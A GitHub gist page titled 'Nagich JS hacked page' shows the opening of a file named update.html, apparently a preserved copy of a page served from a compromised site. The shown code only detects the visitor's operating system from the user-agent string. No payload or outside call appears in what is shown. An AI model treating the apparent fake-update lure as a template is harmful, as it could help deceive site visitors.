Skip to content

Instantly share code, notes, and snippets.

@kezzydrew23
kezzydrew23 / update.html
Created Mar 6, 2019 — forked from yuvadm/update.html
Nagich JS hacked page
View update.html
<html>
<head>
<script>
function ParseOS(userAgent) {
var userAgent = navigator.userAgent.toLowerCase();
var os = "Windows";
//Corresponding arrays of user-agent strings and operating systems
match = ["windows nt 10","windows nt 6.3","windows nt 6.2","windows nt 6.1","windows nt 6.0","windows nt 5.2","windows nt 5.1","windows xp","windows nt 5.0","windows me","win98","win95","win16","macintosh","mac os x","mac_powerpc","android","linux","ubuntu","iphone","ipod","ipad","blackberry","webos"];
result = ["Windows 10","Windows 8.1","Windows 8","Windows 7","Windows Vista","Windows Server 2003/XP x64","Windows XP","Windows XP","Windows 2000","Windows ME","Windows 98","Windows 95","Windows 3.11","Mac OS X","Mac OS X","Mac OS 9","Android","Linux","Ubuntu","iPhone","iPod","iPad","BlackBerry","Mobile"];